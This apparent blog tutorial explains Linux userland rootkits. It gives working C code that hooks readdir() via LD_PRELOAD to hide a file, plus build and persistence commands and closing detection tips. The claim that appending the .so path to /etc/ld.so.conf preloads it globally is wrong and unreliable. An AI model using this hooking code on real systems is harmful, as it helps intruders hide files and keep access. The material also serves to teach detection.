Overview on Linux userland rootkits

What are rootkits anyways?

Rootkits are set of programs that allows someone to manipulate behavior of the host operating system without revealing his or her presence. They are often used by attackers to maintain access on victim machines without setting off any alarm. They come at play in post exploitation phase of an attack. That being said, not all rootkits are malicious. Dtrace , a framework for performance analysis and debugging in real time included in FreeBSD can be considered a “good rootkit” because of the way its designed to work.

Rootkits can be classified into

i) Kernel mode - Rootkits which can alter kernel’s internal data structures and manipulate it’s behavior.

ii) Usermode rootkit - Rootkits which modify operating system functions at user-level like modifying programs , libraries or maybe registry hives in windows.

So, How do they work?

Today, we’re gonna take a look at Linux userland rootkits (Maybe windows next time?). There are many ways to load linux rootkit but popular technique involve

(i) Replacing binaries with malicious version.

This method involves replacing system utilities like ls, top,ps, etc with their malicious counterpart. These malicious version of utilities can hide files, processes and sockets but this method sucks. Why? Because it raises too much suspicion. Host based intrusion detection systems will instantly alert admin about change in cryptographic checksum of binaries. Almost all modern HIDS do checksum of system files at regular interval. So, detection is inevitable by this method if proper security measures are in place. This also sucks because we’ll need to write malicious version for every system utilities we need hook for (hook means modified functions) , which involves too much work. What if we can just mess up C library functions somehow ? We won’t need to write malicious version of every utility just malicious version of C library functions and every utility would be affected by it.

(ii) Inserting malicious shared library on victim machine

Before going any further we need to clear a few things about shared libraries.

What is shared library?

Shared libraries are very much like a program that never gets started. They have code and data sections (functions and variables) just like every executable; but no where to start . They usually have .so extension in Linux or .dll in windows. They just provide a library of functions for programmers to call. When we compile our program that uses a dynamic library, object files are left with references to the library functions. Shared libraries provide flexibility to the development environment as the library code can be changed, modified and recompiled without having to re-compile the applications that use this library.

The programs ld.so and ld-linux.so find and load the shared libraries needed by a program, prepare the program to run, and then run it unless program was statically linked. Dynamic linker tries to load shared library (*.so) from :

  • directories listed in the LD_LIBRARY_PATH environment variable.
  • directories listed in the executable’s rpath.
  • directories on the system search path, which consists of the entries in /etc/ld.so.conf plus /lib and /usr/lib

We can see what dynamic libraries are loaded by a program ls using ldd utility

1
2
3
4
5
6
7
8
9
$ ldd $(which ls)
linux-vdso.so.1 => (0x00007ffff50fb000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fb8b52f0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb8b4f20000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fb8b4ca0000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb8b4a90000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb8b5600000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb8b4870000)

This is where environment variable called LD_PRELOAD comes into play. If we set LD_PRELOAD to the path of a shared object, that file will be loaded before any other library (including the C runtime, libc.so). We can even implement our own libc functions using this.

1
$ LD_PRELOAD=/path/to/mylib.so /bin/ls

LD_PRELOAD in action

To show how this can be misused , let’s try to hide something called rootkit.txt from ls. Let’s start by taking a look into ls source code. This utility is part of GNU coreutils on linux and part busybox on Android. To hide this file we must understand how ls reads file names. We can read directory in linux programmatically with readdir() as defined in standard C library or getdents() which is a syscall. A quick grep into ls.c source code tells us that there’s no use of getdents() while readdir() is used to list out files. Code looks something like

1
2
3
4
5
6
7
8
9
10
11
12
13
14
....
while (1)
{
/* Set errno to zero so we can distinguish between a readdir failure
and when readdir simply finds that there are no more entries. */
errno = 0;
next = readdir (dirp);
if (next)
{
if (! file_ignored (next->d_name))
{
enum filetype type = unknown;
.....

Now we just need to hook readdir() to hide rootkit.txt. Here’s the code to do it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define SECRET "rootkit.txt"
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <sys/types.h>
#include <string.h>
#include <stdlib.h>
struct dirent *(*o_readdir)(DIR *);
struct dirent *readdir(DIR *dirp) {
struct dirent *ret;
void *libc = dlopen("/lib/x86_64-linux-gnu/libc.so.6", RTLD_LAZY);
o_readdir = dlsym (libc, "readdir");
while((ret = o_readdir(dirp))){
if(strstr(ret->d_name,SECRET) == 0 ) break;
}
return ret;
}

Code basically checks if file name is “rootkit.txt”, if not then return result of whatever readdir() returns else return nothing.

Notice that we used dlsym() to get original readdir() (called o_readdir() ) from libc. Now, compile and link it

1
2
$ gcc -shared -fPIC -ldl hooked.c -o rootkit.so
$ export LD_PRELOAD=$(pwd)"/rootkit.so"

and now create a dummy file to test

1
$ echo "HIDE ME!! LOLZ" > rootkit.txt

and try to ls now

hidden

stat shows that file is still there, just “hidden”. We can even subvert stat to hide our file from it too. Not a big deal, now that we know how to get around hooking functions. We can also extend this idea to hide sockets and processes.

But there’s still a problem. We need to set environment variable every time to load our malicious shared library. Even echoing out $LD_PRELOAD in shell will reveal we’re preloading some shared library and we also need to set it for every user on system. Quite a work? Isn’t?

we can just add shared library path in /etc/ld.so.conf file which acts as “global” preload by

1
$ echo $(pwd)"/rootkit.so" >> /etc/ld.so.conf

and hook other functions in c library to prevent this file from getting detected. This method too will create lot of suspicions if proper intrusion detection mechanism are in place but still better than former technique. Maybe next time we’ll try be more stealthy using kernel mode rootkits.

####How to detected if you are victim?

  • Check /proc/$BASHID/maps for suspicious looking loaded shared libraries.

  • Check output of ldd to see what shared objects a program uses.

  • Check $LD_PRELOAD environment variable.

  • Check what’s inside /etc/ld.so.conf

  • We can compare address of functions from libc using dlsym() and address directly from program to check if it was hooked using

1
2
3
4
5
6
7
8
9
10
11
...
void *libc = dlopen("/lib/x86_64-linux-gnu/libc.so.6", RTLD_LAZY);
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, "readdir");
next_func = dlsym(RTLD_NEXT, "readdir");
if (libc_func != next_func) {
/*Hook detected*/
}

REFERENCES: